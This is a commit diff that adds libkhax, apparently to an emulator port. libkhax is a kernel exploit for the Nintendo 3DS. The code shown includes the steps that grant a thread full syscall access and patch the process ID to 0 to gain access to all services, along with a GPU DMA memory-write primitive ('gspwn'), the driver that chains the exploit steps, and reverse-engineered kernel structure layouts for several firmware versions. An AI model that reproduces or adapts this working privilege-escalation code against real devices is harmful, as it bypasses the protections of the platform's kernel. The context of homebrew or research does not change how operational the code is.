+ std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));\r
+#endif\r
+\r
+ // Get a pointer to the SVC ACL within the SVC area for the thread.\r
+ SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);\r
+ KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;\r
+\r
+ // Save the old one for diagnostic purposes.\r
+ std::memcpy(m_oldACL, threadACL, sizeof(threadACL));\r
+\r
+ // Set the ACL for the current thread.\r
+ std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));\r
+\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Flush instruction and data caches.\r
+Result KHAX::MemChunkHax::Step6f_FlushCaches()\r
+{\r
+ // Invalidates the entire instruction cache.\r
+ __asm__ volatile(\r
+ "mov r0, #0\n\t"\r
+ "mcr p15, 0, r0, c7, c5, 0\n\t");\r
+\r
+ // Invalidates the entire data cache.\r
+ __asm__ volatile(\r
+ "mov r0, #0\n\t"\r
+ "mcr p15, 0, r0, c7, c10, 0\n\t");\r
+\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Grant access to all services.\r
+Result KHAX::MemChunkHax::Step7_GrantServiceAccess()\r
+{\r
+ // Backup the original PID.\r
+ Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);\r
+ if (result != 0)\r
+ {\r
+ KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);\r
+ return result;\r
+ }\r
+\r
+ KHAX_printf("Step7:current pid=%lu\n", m_originalPID);\r
+\r
+ // Patch the PID to 0, granting access to all services.\r
+ svcBackdoor(Step7a_PatchPID);\r
+\r
+ // Check whether PID patching succeeded.\r
+ u32 newPID;\r
+ result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r
+ if (result != 0)\r
+ {\r
+ // Attempt patching back anyway, for stability reasons.\r
+ svcBackdoor(Step7b_UnpatchPID);\r
+ KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);\r
+ return result;\r
+ }\r
+\r
+ if (newPID != 0)\r
+ {\r
+ KHAX_printf("Step7:nonzero:%lu\n", newPID);\r
+ return MakeError(27, 11, KHAX_MODULE, 1023);\r
+ }\r
+\r
+ // Reinit ctrulib's srv connection to gain access to all services.\r
+ srvExit();\r
+ srvInit();\r
+\r
+ // Restore the original PID now that srv has been tricked into thinking that we're PID 0.\r
+ svcBackdoor(Step7b_UnpatchPID);\r
+\r
+ // Check whether PID restoring succeeded.\r
+ result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r
+ if (result != 0)\r
+ {\r
+ KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);\r
+ return result;\r
+ }\r
+\r
+ if (newPID != m_originalPID)\r
+ {\r
+ KHAX_printf("Step7:not same:%lu\n", newPID);\r
+ return MakeError(27, 11, KHAX_MODULE, 1023);\r
+ }\r
+\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Patch the PID to 0.\r
+Result KHAX::MemChunkHax::Step7a_PatchPID()\r
+{\r
+ // Disable interrupts ASAP.\r
+ // FIXME: Need a better solution for this.\r
+ __asm__ volatile("cpsid aif");\r
+\r
+ // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers\r
+ // to translate the raw KProcess pointer into pointers into key fields, and we access the\r
+ // m_processID field from it.\r
+ *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r
+ .m_processID) = 0;\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Restore the original PID.\r
+Result KHAX::MemChunkHax::Step7b_UnpatchPID()\r
+{\r
+ // Disable interrupts ASAP.\r
+ // FIXME: Need a better solution for this.\r
+ __asm__ volatile("cpsid aif");\r
+\r
+ // Patch the PID back to the original value.\r
+ *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r
+ .m_processID) = s_instance->m_originalPID;\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Helper for dumping memory to SD card.\r
+template <std::size_t S>\r
+bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const\r
+{\r
+ char formatted[32];\r
+ snprintf(formatted, KHAX_lengthof(formatted), filename,\r
+ static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?\r
+ "New" : "Old");\r
+\r
+ bool result = true;\r
+\r
+ FILE *file = std::fopen(formatted, "wb");\r
+ if (file)\r
+ {\r
+ result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);\r
+ std::fclose(file);\r
+ }\r
+ else\r
+ {\r
+ result = false;\r
+ }\r
+\r
+ return result;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Free memory and such.\r
+KHAX::MemChunkHax::~MemChunkHax()\r
+{\r
+ // Dump memory to SD card if that is enabled.\r
+#ifdef KHAX_DEBUG_DUMP_DATA\r
+ if (m_nextStep > 6)\r
+ {\r
+ DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");\r
+ DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");\r
+ DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");\r
+ }\r
+#endif\r
+\r
+ // If we're corrupted, we're dead.\r
+ if (m_corrupted > 0)\r
+ {\r
+ KHAX_printf("~:error while corrupt;freezing\n");\r
+ for (;;)\r
+ {\r
+ svcSleepThread(s64(60) * 1000000000);\r
+ }\r
+ }\r
+\r
+ // This function has to be careful not to crash trying to shut down after an aborted attempt.\r
+ if (m_overwriteMemory)\r
+ {\r
+ u32 dummy;\r
+\r
+ // Each page has a flag indicating that it is still allocated.\r
+ for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)\r
+ {\r
+ // Don't free a page unless it remains allocated.\r
+ if (m_overwriteAllocated & (1u << x))\r
+ {\r
+ Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,\r
+ sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));\r
+ KHAX_printf("free %u: %08lx\n", x, res);\r
+ }\r
+ }\r
+ }\r
+\r
+ // Free the extra linear memory.\r
+ if (m_extraLinear)\r
+ {\r
+ linearFree(m_extraLinear);\r
+ }\r
+\r
+ // s_instance better be us\r
+ if (s_instance != this)\r
+ {\r
+ KHAX_printf("~:s_instance is wrong\n");\r
+ }\r
+ else\r
+ {\r
+ s_instance = nullptr;\r
+ }\r
+}\r
+\r
+\r
+//------------------------------------------------------------------------------------------------\r
+//\r
+// Miscellaneous\r
+//\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Make an error code\r
+inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)\r
+{\r
+ return (level << 27) + (summary << 21) + (module << 10) + error;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Check whether this system is a New 3DS.\r
+Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)\r
+{\r
+ // If the kernel version isn't already known by the caller, find out.\r
+ u32 kernelVersion = kernelVersionAlreadyKnown;\r
+ if (kernelVersion == 0)\r
+ {\r
+ kernelVersion = osGetKernelVersion();\r
+ }\r
+\r
+ // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.\r
+ if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))\r
+ {\r
+ // Check whether the system is a New 3DS. If this fails, abort, because being wrong would\r
+ // crash the system.\r
+ u8 isNew3DS = 0;\r
+ if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS))\r
+ {\r
+ *answer = false;\r
+ return error;\r
+ }\r
+\r
+ // Use the result of APT_CheckNew3DS.\r
+ *answer = isNew3DS != 0;\r
+ return 0;\r
+ }\r
+\r
+ // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.\r
+ *answer = false;\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// gspwn, meant for reading from or writing to freed buffers.\r
+Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)\r
+{\r
+ // Attempt a flush of the source, but ignore the result, since we may have just been asked to\r
+ // read unmapped memory or something similar.\r
+ GSPGPU_FlushDataCache(nullptr, static_cast<u8 *>(const_cast<void *>(src)), size);\r
+\r
+ // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore\r
+ // errors, since it may be the destination that is an unmapped address.\r
+ GSPGPU_InvalidateDataCache(nullptr, static_cast<u8 *>(dest), size);\r
+\r
+ // Copy that floppy.\r
+ if (Result result = GX_SetTextureCopy(nullptr, static_cast<u32 *>(const_cast<void *>(src)), 0,\r
+ static_cast<u32 *>(dest), 0, size, 8))\r
+ {\r
+ KHAX_printf("gspwn:copy fail:%08lx\n", result);\r
+ return result;\r
+ }\r
+\r
+ // Wait for the operation to finish.\r
+ if (wait)\r
+ {\r
+ gspWaitForPPF();\r
+ }\r
+\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Given a pointer to a structure that is a member of another structure,\r
+// return a pointer to the outer structure. Inspired by Windows macro.\r
+template <typename Outer, typename Inner>\r
+Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)\r
+{\r
+ unsigned char *p = reinterpret_cast<unsigned char *>(member);\r
+ p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));\r
+ return reinterpret_cast<Outer *>(p);\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Main initialization function interface.\r
+extern "C" Result khaxInit()\r
+{\r
+ using namespace KHAX;\r
+\r
+#ifdef KHAX_DEBUG\r
+ bool isNew3DS;\r
+ IsNew3DS(&isNew3DS, 0);\r
+ KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),\r
+ isNew3DS);\r
+#endif\r
+\r
+ // Look up the current system's version in our table.\r
+ const VersionData *versionData = VersionData::GetForCurrentSystem();\r
+ if (!versionData)\r
+ {\r
+ KHAX_printf("khaxInit: Unknown kernel version\n");\r
+ return MakeError(27, 6, KHAX_MODULE, 39);\r
+ }\r
+\r
+ KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,\r
+ versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);\r
+\r
+ // Create the hack object.\r
+ MemChunkHax hax{ versionData };\r
+\r
+ // Run through the steps.\r
+ if (Result result = hax.Step1_Initialize())\r
+ {\r
+ KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);\r
+ return result;\r
+ }\r
+ if (Result result = hax.Step2_AllocateMemory())\r
+ {\r
+ KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);\r
+ return result;\r
+ }\r
+ if (Result result = hax.Step3_SurroundFree())\r
+ {\r
+ KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);\r
+ return result;\r
+ }\r
+ if (Result result = hax.Step4_VerifyExpectedLayout())\r
+ {\r
+ KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);\r
+ return result;\r
+ }\r
+ if (Result result = hax.Step5_CorruptCreateThread())\r
+ {\r
+ KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);\r
+ return result;\r
+ }\r
+ if (Result result = hax.Step6_ExecuteSVCCode())\r
+ {\r
+ KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);\r
+ return result;\r
+ }\r
+ if (Result result = hax.Step7_GrantServiceAccess())\r
+ {\r
+ KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);\r
+ return result;\r
+ }\r
+\r
+ KHAX_printf("khaxInit: done\n");\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything\r
+// and frees all memory on the way out.\r
+extern "C" Result khaxExit()\r
+{\r
+ return 0;\r
+}\r
--- /dev/null
+#pragma once\r
+\r
+#define KHAX_DEBUG\r
+//#define KHAX_DEBUG_DUMP_DATA\r
+\r
+#ifdef KHAX_DEBUG\r
+ #define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()\r
+#else\r
+ #define KHAX_printf static_cast<void>\r
+#endif\r
+\r
+// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never\r
+// actually compile this program.\r
+#ifdef _MSC_VER\r
+ #undef ALIGN\r
+ #define ALIGN(x) __declspec(align(x))\r
+ #if _MSC_VER < 1900\r
+ #define alignof __alignof\r
+ #endif\r
+ #define KHAX_ATTRIBUTE(...)\r
+#else\r
+ #define KHAX_ATTRIBUTE(...) __VA_ARGS__\r
+#endif\r
+\r
+#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))\r
+\r
+//------------------------------------------------------------------------------------------------\r
+namespace KHAX\r
+{\r
+ //------------------------------------------------------------------------------------------------\r
+ // This code uses offsetof illegally (i.e. on polymorphic classes).\r
+ #pragma GCC diagnostic push\r
+ #pragma GCC diagnostic ignored "-Winvalid-offsetof"\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // General linked list node kernel object.\r
+ struct KLinkedListNode\r
+ {\r
+ KLinkedListNode *next;\r
+ KLinkedListNode *prev;\r
+ void *data;\r
+ };\r
+ static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // Base class of reference-counted kernel objects.\r
+ class KAutoObject\r
+ {\r
+ public:\r
+ u32 m_refCount; // +004\r
+\r
+ protected:\r
+ virtual ~KAutoObject() {}\r
+ };\r
+ static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");\r
+ static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // Base class of synchronizable objects.\r
+ class KSynchronizationObject : public KAutoObject\r
+ {\r
+ public:\r
+ u32 m_threadSyncCount; // +008\r
+ KLinkedListNode *m_threadSyncFirst; // +00C\r
+ KLinkedListNode *m_threadSyncLast; // +010\r
+ };\r
+ static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");\r
+ static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,\r
+ "KSynchronizationObject isn't the expected layout.");\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ struct KDebugThread;\r
+ struct KThreadLocalPage;\r
+ class KCodeSet;\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // Unofficial name\r
+ typedef u8 KSVCACL[0x80 / 8];\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // ARM VFP register\r
+ union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister\r
+ {\r
+ float m_single[2];\r
+ double m_double;\r
+ };\r
+ static_assert(alignof(VFPRegister) == 0x004,\r
+ "VFPRegister isn't the expected alignment.");\r
+ static_assert(sizeof(VFPRegister) == 0x008,\r
+ "VFPRegister isn't the expected size.");\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // SVC-mode register save area.\r
+ // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000\r
+ struct SVCRegisterState\r
+ {\r
+ u32 m_r4; // +000\r
+ u32 m_r5; // +004\r
+ u32 m_r6; // +008\r
+ u32 m_r7; // +00C\r
+ u32 m_r8; // +010\r
+ u32 m_r9; // +014\r
+ u32 m_sl; // +018\r
+ u32 m_fp; // +01C\r
+ u32 m_sp; // +020\r
+ u32 m_lr; // +024\r
+ };\r
+ static_assert(sizeof(SVCRegisterState) == 0x028,\r
+ "SVCRegisterState isn't the expected size.");\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // SVC-mode thread state structure. This is the last part of the per-\r
+ // thread page allocated in 0xFF4XX000.\r
+ // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000\r
+ struct SVCThreadArea\r
+ {\r
+ KSVCACL m_svcAccessControl; // +000\r
+ u32 m_unknown010; // +010\r
+ u32 m_unknown014; // +014\r
+ SVCRegisterState m_svcRegisterState; // +018\r
+ VFPRegister m_vfpRegisters[16]; // +040\r
+ u32 m_unknown0C4; // +0C0\r
+ u32 m_fpexc; // +0C4\r
+ };\r
+ static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,\r
+ "ThreadSVCArea isn't the expected layout.");\r
+ static_assert(sizeof(SVCThreadArea) == 0x0C8,\r
+ "ThreadSVCArea isn't the expected size.");\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // Kernel's internal structure of a thread object.\r
+ class KThread : public KSynchronizationObject\r
+ {\r
+ public:\r
+ u32 m_unknown014; // +014\r
+ u32 m_unknown018; // +018\r
+ u32 m_unknown01C; // +01C\r
+ u32 m_unknown020; // +020\r
+ u32 m_unknown024; // +024\r
+ u32 m_unknown028; // +028\r
+ u32 m_unknown02C; // +02C\r
+ u32 m_unknown030; // +030\r
+ u32 m_unknown034; // +034\r
+ KDebugThread *m_debugThread; // +038\r
+ s32 m_threadPriority; // +03C\r
+ void *m_waitingOnObject; // +040\r
+ u32 m_unknown044; // +044\r
+ KThread **m_schedulerUnknown048; // +048\r
+ void *m_arbitrationAddress; // +04C\r
+ u32 m_unknown050; // +050\r
+ u32 m_unknown054; // +054\r
+ u32 m_unknown058; // +058\r
+ KLinkedListNode *m_waitingOnList; // +05C\r
+ u32 m_unknownListCount; // +060\r
+ KLinkedListNode *m_unknownListHead; // +064\r
+ KLinkedListNode *m_unknownListTail; // +068\r
+ s32 m_threadPriority2; // +06C\r
+ s32 m_creatingProcessor; // +070\r
+ u32 m_unknown074; // +074\r
+ u32 m_unknown078; // +078\r
+ u16 m_unknown07C; // +07C\r
+ u8 m_threadType; // +07E\r
+ u8 m_padding07F; // +07F\r
+ void *m_process; // +080\r
+ u32 m_threadID; // +084\r
+ SVCRegisterState *m_svcRegisterState; // +088\r
+ void *m_svcPageEnd; // +08C\r
+ s32 m_idealProcessor; // +090\r
+ void *m_tlsUserMode; // +094\r
+ void *m_tlsKernelMode; // +098\r
+ u32 m_unknown09C; // +09C\r
+ KThread *m_prev; // +0A0\r
+ KThread *m_next; // +0A4\r
+ KThread **m_temporaryLinkedList; // +0A8\r
+ u32 m_unknown0AC; // +0B0\r
+ };\r
+ static_assert(sizeof(KThread) == 0x0B0,\r
+ "KThread isn't the expected size.");\r
+ static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,\r
+ "KThread isn't the expected layout.");\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // Kernel's internal structure of a process object.\r
+ // Version 1.0.0(?) - 7.2.0\r
+ class KProcess_1_0_0_Old : public KSynchronizationObject\r
+ {\r
+ public:\r
+ u32 m_unknown014; // +014\r
+ u32 m_unknown018; // +018\r
+ KThread *volatile m_interactingThread; // +01C\r
+ u16 m_unknown020; // +020\r
+ u16 m_unknown022; // +022\r
+ u32 m_unknown024; // +024\r
+ u32 m_unknown028; // +028\r
+ u32 m_memoryBlockCount; // +02C\r
+ KLinkedListNode *m_memoryBlockFirst; // +030\r
+ KLinkedListNode *m_memoryBlockLast; // +034\r
+ u32 m_unknown038; // +038\r
+ u32 m_unknown03C; // +03C\r
+ void *m_translationTableBase; // +040\r
+ u8 m_contextID; // +044\r
+ u32 m_unknown048; // +048\r
+ u32 m_unknown04C; // +04C\r
+ u32 m_mmuTableSize; // +050\r
+ void *m_mmuTableAddress; // +054\r
+ u32 m_threadContextPagesSize; // +058\r
+ u32 m_threadLocalPageCount; // +05C\r
+ KLinkedListNode *m_threadLocalPageFirst; // +060\r
+ KLinkedListNode *m_threadLocalPageLast; // +064\r
+ u32 m_unknown068; // +068\r
+ s32 m_idealProcessor; // +06C\r
+ u32 m_unknown070; // +070\r
+ void *m_resourceLimits; // +074\r
+ u8 m_unknown078; // +078\r
+ u8 m_affinityMask; // +079\r
+ u32 m_threadCount; // +07C\r
+ KSVCACL m_svcAccessControl; // +080\r
+ u32 m_interruptFlags[0x80 / 32]; // +090\r
+ u32 m_kernelFlags; // +0A0\r
+ u16 m_handleTableSize; // +0A4\r
+ u16 m_kernelReleaseVersion; // +0A6\r
+ KCodeSet *m_codeSet; // +0A8\r
+ u32 m_processID; // +0AC\r
+ u32 m_kernelFlags2; // +0B0\r
+ u32 m_unknown0B4; // +0B4\r
+ KThread *m_mainThread; // +0B8\r
+ //...more...\r
+ };\r
+ static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,\r
+ "KProcess_1_0_0_Old isn't the expected layout.");\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // Kernel's internal structure of a process object.\r
+ // Old 3DS Version 8.0.0 - 9.5.0...\r
+ class KProcess_8_0_0_Old : public KSynchronizationObject\r
+ {\r
+ public:\r
+ u32 m_unknown014; // +014\r
+ u32 m_unknown018; // +018\r
+ KThread *volatile m_interactingThread; // +01C\r
+ u16 m_unknown020; // +020\r
+ u16 m_unknown022; // +022\r
+ u32 m_unknown024; // +024\r
+ u32 m_unknown028; // +028\r
+ u32 m_memoryBlockCount; // +02C\r
+ KLinkedListNode *m_memoryBlockFirst; // +030\r
+ KLinkedListNode *m_memoryBlockLast; // +034\r
+ u32 m_unknown038; // +038\r
+ u32 m_unknown03C; // +03C\r
+ void *m_translationTableBase; // +040\r
+ u8 m_contextID; // +044\r
+ u32 m_unknown048; // +048\r
+ void *m_userVirtualMemoryEnd; // +04C\r
+ void *m_userLinearVirtualBase; // +050\r
+ u32 m_unknown054; // +054\r
+ u32 m_mmuTableSize; // +058\r
+ void *m_mmuTableAddress; // +05C\r
+ u32 m_threadContextPagesSize; // +060\r
+ u32 m_threadLocalPageCount; // +064\r
+ KLinkedListNode *m_threadLocalPageFirst; // +068\r
+ KLinkedListNode *m_threadLocalPageLast; // +06C\r
+ u32 m_unknown070; // +070\r
+ s32 m_idealProcessor; // +074\r
+ u32 m_unknown078; // +078\r
+ void *m_resourceLimits; // +07C\r
+ u32 m_unknown080; // +080\r
+ u32 m_threadCount; // +084\r
+ u8 m_svcAccessControl[0x80 / 8]; // +088\r
+ u32 m_interruptFlags[0x80 / 32]; // +098\r
+ u32 m_kernelFlags; // +0A8\r
+ u16 m_handleTableSize; // +0AC\r
+ u16 m_kernelReleaseVersion; // +0AE\r
+ KCodeSet *m_codeSet; // +0B0\r
+ u32 m_processID; // +0B4\r
+ u32 m_unknown0B8; // +0B8\r
+ u32 m_unknown0BC; // +0BC\r
+ KThread *m_mainThread; // +0C0\r
+ //...more...\r
+ };\r
+ static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,\r
+ "KProcess_8_0_0_Old isn't the expected layout.");\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // Kernel's internal structure of a process object.\r
+ // New 3DS Version 8.0.0 - 9.5.0...\r
+ class KProcess_8_0_0_New : public KSynchronizationObject\r
+ {\r
+ public:\r
+ u32 m_unknown014; // +014\r
+ u32 m_unknown018; // +018\r
+ KThread *volatile m_interactingThread; // +01C\r
+ u16 m_unknown020; // +020\r
+ u16 m_unknown022; // +022\r
+ u32 m_unknown024; // +024\r
+ u32 m_unknown028; // +028\r
+ u32 m_unknown02C; // +02C new to New 3DS\r
+ u32 m_unknown030; // +030 new to New 3DS\r
+ u32 m_memoryBlockCount; // +034\r
+ KLinkedListNode *m_memoryBlockFirst; // +038\r
+ KLinkedListNode *m_memoryBlockLast; // +03C\r
+ u32 m_unknown040; // +040\r
+ u32 m_unknown044; // +044\r
+ void *m_translationTableBase; // +048\r
+ u8 m_contextID; // +04C\r
+ u32 m_unknown050; // +050\r
+ void *m_userVirtualMemoryEnd; // +054\r
+ void *m_userLinearVirtualBase; // +058\r
+ u32 m_unknown05C; // +05C\r
+ u32 m_mmuTableSize; // +060\r
+ void *m_mmuTableAddress; // +064\r
+ u32 m_threadContextPagesSize; // +068\r
+ u32 m_threadLocalPageCount; // +06C\r
+ KLinkedListNode *m_threadLocalPageFirst; // +070\r
+ KLinkedListNode *m_threadLocalPageLast; // +074\r
+ u32 m_unknown078; // +078\r
+ s32 m_idealProcessor; // +07C\r
+ u32 m_unknown080; // +080\r
+ void *m_resourceLimits; // +084\r
+ u32 m_unknown088; // +088\r
+ u32 m_threadCount; // +08C\r
+ u8 m_svcAccessControl[0x80 / 8]; // +090\r
+ u32 m_interruptFlags[0x80 / 32]; // +0A0\r
+ u32 m_kernelFlags; // +0B0\r
+ u16 m_handleTableSize; // +0B4\r
+ u16 m_kernelReleaseVersion; // +0B6\r
+ KCodeSet *m_codeSet; // +0B8\r
+ u32 m_processID; // +0BC\r
+ u32 m_unknown0C0; // +0C0\r
+ u32 m_unknown0C4; // +0C4\r
+ KThread *m_mainThread; // +0C8\r
+ //...more...\r
+ };\r
+ static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,\r
+ "KProcess_8_0_0_New isn't the expected layout.");\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // Done using illegal offsetof\r
+ #pragma GCC diagnostic pop\r
+}\r
notaz.gp2x.de / pcsx_rearmed.git / commitdiff